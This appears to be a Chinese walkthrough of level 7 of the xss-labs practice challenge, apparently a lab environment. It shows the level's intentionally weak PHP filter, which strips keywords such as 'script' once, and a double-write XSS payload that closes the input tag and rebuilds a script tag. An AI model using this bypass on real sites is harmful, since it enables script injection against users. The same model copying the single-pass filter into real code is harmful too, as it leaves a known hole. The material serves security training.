前言
安装步骤跳过,源码可去github上下载
xss-labs下载
PHP: strtolower - Manual
PHP: str_replace - Manual
xss-payload-list
安全-XSS脚本
一、题目
http://127.0.0.1/xss-labs-master/level7.php
源码如下
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
二、绕过
[1]. 全小写转换
[2]. 字符串过滤
因为置换之后是为空,所以可以用双写绕过 构造一个双写的payload,在<s 和cript> 中间再添加一个script 在过滤了中间的script 之后,<s 和cript> 就构成了一个标签,</script> 也是同样的道理
<sscriptcript>alert(233)</sscriptcript>
本地测试一下,成功弹窗
<?php
$str = "<sscriptcript>alert(233)</sscriptcript>";
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo $str6;
?>
[3]. 标签闭合
构造如下的payload,先将双引号 闭合,再将<input> 标签闭合
"><sscriptcript>alert(233)</sscriptcript>"
|